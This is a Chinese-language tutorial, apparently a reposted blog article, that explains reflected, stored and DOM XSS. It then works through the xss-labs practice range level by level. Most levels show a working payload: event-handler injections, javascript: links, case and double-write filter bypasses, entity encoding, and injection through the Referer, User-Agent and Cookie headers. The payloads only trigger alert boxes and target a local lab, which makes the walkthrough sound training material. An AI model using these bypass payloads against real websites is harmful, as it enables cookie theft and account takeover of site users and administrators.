Web渗透-XSS漏洞深入及xss-labs靶场实战

一、简介

xss全称(cross site scripting)跨站脚本攻击,是最常见的web应用程序安全漏洞之一,位于owasptop102013年度第三名xss是指攻击者在网页中嵌入客户端脚本,通常是javascrip编写的危险代码,当用户使用浏览网页时,脚本就会在用户的浏览器上执行,从而达到攻击者的目的。
xss属于客户端攻击,受害者最终是用户,但特别要注意的是网站管理人员也属于用户之一。这就意味着xss可以进行"服务端"攻击,因为管理员要比普通用户的权限大得多,一般管理员都可以对网站进行文件管理,数据管理等操作,而攻击者一股也是靠管理员身份作为"跳板"进行实施攻击。

二、XSS靶场

  • 靶场名称:xss-labs
  • github地址:https://github.com/do0dl3/xss-labs
  • 靶场运行环境:PHP,Apache
  • 安装
第一步:git clone拉取或者下载项目压缩包
第二步:放入Apache www服务的根目录中
第三部:访问URL http://localhost/xss-labs/
  • 访问页面效果

image.png

三、XSS测试方法

1 工具扫描:appscan,awvs
2 手工测试:burpsuite,firefox(hackbar),xsser xssf
使用手工检测web应用程序是否存在xss漏洞时,最重要的是考虑那里有输入,输入的数据在什么地
方输出。在进行手工检测xss时,人毕竟不像软件那样不知疲惫,所以一定要选择有特殊意义的字符。
这样可以快速测试是否存在xss.
  (1)在目标站点上找到输入点,比如查询接口,留言板等;
  (2)输入一组"特殊字符+唯一识别字符",点击提交后,查看返回的源码,是否有做对应的处理;
  (3)通过搜索定位到唯一字符,结合唯一字符前后语法确认是否可以构造执行)s的条件(构造闭合),提交
  构造的脚本代码,看是否可以成功执行,如果成功执行则说明存在xss漏洞;

四、XSS分类

反射性XSS或不持久型XSS

简介

反射型XSS攻击(Reflected XSS)有称为非持久型跨站点脚本攻击,它是最常见的XSS,漏洞产生的原因是攻击者注入的数据反映在响应中,一个典型的非持久型的XSS包含一个带XSS攻击向量的链接。
每次攻击需要用户点击

判断
  • 靶场关卡:Pikachu - Cross-Site Scripting - 反射型xss(get)
第一步:找到网站可以输入的地方
第二步:找到网站可以输出的地方
第三步:插入任意JS代码判断是否会执行

image.png
image.png
image.png
image.png

存储型XSS或持久性XSS

简介

存储型xss是指应用程序直接将攻击者提交的恶意代码存储到服务端保存,然后永久显示在其他用户的页面上。
比较常见的就是,黑客写下一篇包含恶意javascript代码的博客文章发表后,所有访问该博客的用户,都会在它们的浏览器中执行这段恶意的javascript代码,黑客把恶意的脚本保存到服务端。所以这种xss攻击就叫做"存储型xss".

作用

获取Cookie ,内网IP等

判断
存储型xss可能出现的位置:
(1)用户注册
(2)留言板
(3)上传文件的文件名处
(4)管理员可见的报错信息
(5)在线聊天框
(6)客服
(7)问题反馈区
(8)邮件信箱
// 在找漏洞时,使用console.log()方法,判断是否存在漏洞

示例
  • 靶场关卡:Pikachu - Cross-Site Scripting - 存储型xss
<script>console.log('varin')</script>

image.png

DOS XSS

简介

通过javascript,可以重构整个html文档,就是说可以添加,移除等等,对页面的某个东西进行访问的javascript就需要获得对html文档中所有元素进行访问的入口。这个入口就是dom,所以在dom型的xss漏洞利用中,dom可以看成是一个访问html的标准程序接口。
特征:整个过程都是在前端完成的,没有后端的参与(纯前端的操作!)

利用
// javascript 伪协议
javascript:alert(1)

示例
  • 靶场关卡:Pikachu - Cross-Site Scripting - DOM型xss

image.png
image.png

五、xss-labs靶场实战

level1

  • 类型:反射型
  • 提示:无
  • 观察:
页面并没有输入的地方,除了URL栏
name长度刚好为:4

image.png

  • 测试:
// name参数条件js代码
http://10.196.93.67/xss-labs/level1.php?name=<script>alert('varin')</script>

image.png

level2

  • 类型:反射型
  • 提示:无
  • 观察:有输入框,按钮,内容显示到h2标签。
  • 思路:输入框输入的内容存储到了h2标签上,通过构建闭合的方式(双引号),嵌入js代码
  • 测试
// 输入框内容:
"</h2><a>ff</a> <script>alert('a')</script>

image.png

level3

  • 类型:反射型
  • 提示:无
  • 观察:有输入框,按钮,内容显示到h2标签。
  • 思路:
    • 输入框输入的内容存储到了h2标签上,通过构建闭合的方式(单引号),嵌入js代码(失败)
    • 采用闭合的方式,闭合的符号会被转义,导致识别不出来。尝试单击方法
  • 测试
// 输入框内容:
' οnclick='alert(1)'

image.png

level4

  • 类型:反射型
  • 提示:无
  • 特点:输入标签会被去掉<>符号
  • 闭合:双引号
  • 观察:有输入框,按钮,内容显示到h2标签。
  • 思路:尝试单击方法
  • 测试
" οnclick="alert('1')">

image.png

level5

  • 类型:反射型
  • 提示:无
  • 特点:输入script、事件会被转义,输入
  • 闭合:双引号
  • 观察:有输入框,按钮,内容显示到h2标签。
  • 思路:尝试伪协议方法
  • 测试
// 闭合:">
"> <a href='javascript:alert(1)'>abc</a>

image.png

level6

  • 类型:反射型
  • 提示:无
  • 特点:输入script、href、事件会被转义,输入
  • 闭合:双引号
  • 观察:有输入框,按钮,内容显示到h2标签。
  • 思路:尝试伪协议方法、使用大小写
  • 测试
// 闭合:">
"> <a HREF='javascript:alert(1)'>abc</a>

image.png

level7

  • 类型:反射型
  • 提示:无
  • 特点:script转为空
  • 闭合:双引号
  • 观察:有输入框,按钮,内容显示到h2标签。
  • 思路:双写
  • 测试
"> <sscriptcript>alert(1)</sscriptcript>

image.png

level8

  • 类型:反射型
  • 提示:无
  • 思路:使用html字体实体编码
  • 编码参考链接:https://www.runoob.com/charsets/ref-html-8859.html
  • 测试
# &#x074=t
javascrip&#x074:alert(1)

image.png

level9

  • 类型:反射型
  • 提示:无
  • 特点:a标签的href必须有htt://字符,使用html字体实体编码
  • 思路:将http://加入到输出信息中
  • 测试
javascrip&#x074:alert('http://')

image.png

level10

  • 类型:反射型
  • 提示:无
  • 特点:隐藏域
  • 思路:有隐藏域,每个尝试,得到t_sort可以写入值,在尝试是否能闭合value值,并去除隐藏域属性
  • 测试
http://localhost/xss-labs/level10.php?t_link=1&t_sort="onclick='alert(1)'type=''

image.png

level11

  • 类型:反射型
  • 提示:ref
  • 特点:Referer,请求头
  • 思路:通过抓包发现Referer参数值传递到了t_ref输入框中,尝试在Referer构建语句

image.png
image.png

  • 测试
Referer: " type=""  onclick='alert(1)'

image.png
image.png

level12

  • 类型:反射型
  • 提示:User-Agent
  • 特点:User-Agent,请求头
  • 思路:通过抓包发现User-Agent参数值传递到了t_ua输入框中,尝试在User-Agent构建语句

image.png

  • 测试
User-Agent: " type="" οnclick="alert(1)"

image.png
image.png

level13

  • 类型:反射型
  • 提示:Cookie
  • 特点:Cookie,请求头
  • 思路:通过抓包发现Cookie参数值传递到了t_cook输入框中,尝试在Cookie构建语句

image.png

  • 测试
Cookie: user=" type="" οnclick="alert(1)"; PHPSESSID=600b54c6da94cb911ba2ad52c52ee5bd

image.png
image.png

level14

  • 页面显示不出来,略过

image.png

level15

  • 地址:http://10.196.93.67/xss-labs/level15.php?src=1.gif
  • 类型:反射型
  • 提示:无
  • 特点:文件包含
  • 思路:通过引用关卡1的页面,进行绕过

image.png

  • 测试:
http://10.196.93.67/xss-labs/level15.php?src="level1.php?name=<a href='javascript:alert(1)'>varin</a>"

image.png

level16

  • 类型:反射型
  • 提示:无
  • 特点:URL编码,字符替换
  • 思路 :将空格转换为回车的ULR编码
  • 测试
// %0a=回车
http://10.196.93.67/xss-labs/level16.php?keyword= <img%0asrc=a%0aonerror=alert(1)>

image.png

evel17

  • 类型:反射型
  • 提示:无
  • 特点:将空格插入到b前方,可以将b顶出来
  • 思路 :使用特殊字符随机位置尝试,如空格,单引号,双引号等。

image.png

  • 测试
http://10.196.93.67/xss-labs/level17.php?arg01=a&arg02= onmouseover=alert(1)

image.png

level18

  • 通过方式level17关类似。
http://10.196.93.67/xss-labs/level18.php?arg01=a&arg02= onmouseover=alert(1)

image.png
image.png


本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/739926.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

推荐系统三十六式学习笔记:原理篇.模型融合13|经典模型融合办法:线性模型和树模型的组合拳

目录 为什么要融合&#xff1f;“辑度组合”原理逻辑回归梯度提升决策树GBDT二者结合 总结 推荐系统在技术实现上一般划分为三个阶段&#xff1a;挖掘、召回、排序 。 为什么要融合&#xff1f; 挖掘的工作是对用户和物品做非常深入的结构化分析&#xff0c;各个角度各个层面…

【从零开始认识AI】梯度下降法

目录 1. 原理介绍 2. 代码实现 1. 原理介绍 梯度下降法&#xff08;Gradient Descent&#xff09;是一种用于优化函数的迭代算法&#xff0c;广泛应用于机器学习和深度学习中&#xff0c;用来最小化一个目标函数。该目标函数通常代表模型误差或损失。 基本思想是从一个初始…

《Nest系列 - 3. 掌握常见Nest 装饰器,奠定坚实基础!!!!!!》

nest 一个核心就是依赖注入&#xff0c;而中的大部分功能都是通过装饰器来实现的&#xff0c;那什么是装饰器呢&#xff1f; 就是一个 xxx &#xff0c;诸如 Module&#xff0c;controller, Get, Post 那这样有什么好处呢&#xff1f; 可以把他理解成一个方法&#xff0c;在不改…

【干货】客户裂变实战:策略与案例分享

在当今竞争激烈的市场环境中&#xff0c;客户裂变成为了许多企业快速增长的关键策略。客户裂变&#xff0c;即利用现有客户的社交网络和影响力&#xff0c;吸引更多潜在客户&#xff0c;从而实现客户数量的快速增长。本文将分享一些客户裂变的实战策略及成功案例。 一、客户裂…

【投稿优惠|权威主办】2024年图像、地质测绘与遥感技术国际学术会议(ICIGSRST 2024)

【投稿优惠|权威主办】2024年图像、地质测绘与遥感技术国际学术会议&#xff08;ICIGSRST 2024&#xff09; 2024 International Conference on Image, Geological Surveying and Remote Sensing Technology&#xff08;ICIGSRST 2024&#xff09; ▶会议简介 2024年图像、地质…

第二届“讯方杯”全国大学生信息技术应用及创新大赛圆满落幕!

6月21日-23日&#xff0c;2023-2024“讯方杯”全国大学生信息技术应用及创新大赛全国总决赛在广东科技学院松山湖校区圆满举办。本届全国总决赛由深圳市讯方技术股份有限公司主办&#xff0c;广东科技学院承办&#xff0c;深圳市职前通教育有限责任公司协办。 广东科技学院副校…

艺术家电gorenje x 设计上海丨用设计诠释“生活的艺术”

2024年6月19日—22日&#xff0c;艺术家电gorenje亮相“设计上海”2024&#xff0c;以“gorenje是家电更是艺术品”为题&#xff0c;为人们带来融入日常的艺术之美。设计上海2024不但汇集了国内外卓越设计品牌和杰出独立设计师的家具设计作品&#xff0c;还联合国内外多名设计师…

国内Mac安装Homebrew方法

文章目录 前言步骤 参考&#xff1a;https://blog.csdn.net/itwangyang520/article/details/134125435 前言 今天尝试下载git&#xff0c;官方给的建议是使用Homebrew下载&#xff0c;但发现新电脑里没有&#xff0c;于是尝试Homebrew下载&#xff0c;但发现Homebrew不存在&am…

NAPI篇【4】——NAPI应用点亮一个LED

OpenHarmony的NAPI功能为开发者提供了JS与C/C不同语言模块之间的相互访问&#xff0c;交互的能力&#xff0c;使得开发者使用C或者C语言实现应用的关键功能。如操作开发板中某个GPIO节点的状态&#xff08;OpenHarmony并没有提供直接操作GPIO口状态的API&#xff09;&#xff0…

QGIS在VS2019开发

QGIS二次开发&#xff08;1&#xff09;—加载矢量、栅格图层&#xff08;QGIS 2.14.16 && Qt-4.8.6 && VS2010 &#xff09;_qgis开发教程-CSDN博客 VS2019QT5.15.2QGIS二次开发环境搭建&#xff08;非源码方式&#xff09;_qt qgis-CSDN博客 也许面向对象课…

diffusion model(十八):diffusion model中negative prompt的工作机制

info个人博客主页http://myhz0606.com/article/ncsn 前置阅读&#xff1a; DDPM&#xff1a; http://myhz0606.com/article/ddpm classifier-guided&#xff1a;http://myhz0606.com/article/guided classifier-free guided&#xff1a;http://myhz0606.com/article/classi…

技术干货 | AI驱动工程仿真和设计创新

在当今快速发展的技术领域&#xff0c;人工智能&#xff08;AI&#xff09;、机器学习和深度学习等技术已经成为推动工程仿真和设计创新的关键力量。Altair技术经理张晨在Altair “AI FOR ENGINEERS”线下研讨会上发表了相关精彩演讲&#xff0c;本文摘自演讲内容&#xff0c;与…

倒F天线参数

倒F天线是依据天线形状命名的。 天线的谐振点及输入阻抗余S、H和L的关系如下&#xff1a; 倒F天线一般用于单频点设计&#xff0c;使用1/4波长原理&#xff08;利用镜像原理&#xff0c;实际相当于半波长的偶极子天线&#xff09;。也就是说L的长度是谐振点对应波长的1/4&#…

mybatis动态传参pgsql日期Interval

在navicat16中&#xff0c;标准写法 SELECT * FROM business_status_info WHERE create_time > (NOW() - INTERVAL 5 minutes) 在mybatis中&#xff0c;错误写法 SELECT * FROM business_status_info WHERE create_time > (NOW() - INTERVAL #{monitorTimeInterval,jdbc…

ViT:3 Compact Architecture

大模型技术论文不断&#xff0c;每个月总会新增上千篇。本专栏精选论文重点解读&#xff0c;主题还是围绕着行业实践和工程量产。若在某个环节出现卡点&#xff0c;可以回到大模型必备腔调或者LLM背后的基础模型重新阅读。而最新科技&#xff08;Mamba,xLSTM,KAN&#xff09;则…

浏览器提升编译速度小技巧(一)- 防病毒排除

1.引言 在Chrome开发过程中&#xff0c;编译速度是影响开发效率的关键因素之一。编译一个大型项目如Chrome&#xff0c;往往需要处理大量的代码文件和依赖库&#xff0c;这个过程既复杂又耗时。因此&#xff0c;任何能够提升编译速度的技巧&#xff0c;都能显著提高开发效率&a…

AI风险管理新利器:SAIF CHECK利用Meta Llama 3保障合规与安全

每周跟踪AI热点新闻动向和震撼发展 想要探索生成式人工智能的前沿进展吗&#xff1f;订阅我们的简报&#xff0c;深入解析最新的技术突破、实际应用案例和未来的趋势。与全球数同行一同&#xff0c;从行业内部的深度分析和实用指南中受益。不要错过这个机会&#xff0c;成为AI领…

react-native在IOS上集成百度地图详解

export default class BaiDuMapTest extends Component { render() { return ( ); } } const styles StyleSheet.create({ container: { flex: 1, justifyContent: ‘center’, alignItems: ‘center’, backgroundColor: ‘#F5FCFF’, }, welcome: { fontSize:…

电子设备抗震等级与电子设备震动实验

若该文为原创文章&#xff0c;转载请注明原文出处 本文章博客地址&#xff1a;https://hpzwl.blog.csdn.net/article/details/139923445 红胖子(红模仿)的博文大全&#xff1a;开发技术集合&#xff08;包含Qt实用技术、树莓派、三维、OpenCV、OpenGL、ffmpeg、OSG、单片机、软…

RK3588上手踩坑之启动卡死2

同事开发了一块RK3588Q&#xff0c;记录下上手的踩坑过程。 RK3588上手踩坑实录_-CSDN博客https://blog.csdn.net/huntenganwei/article/details/135213035?spm1001.2014.3001.5501 按照之前的搞法&#xff0c;一通操作。 上电 莫名其妙的duang了 各种检查&#xff0c;核对…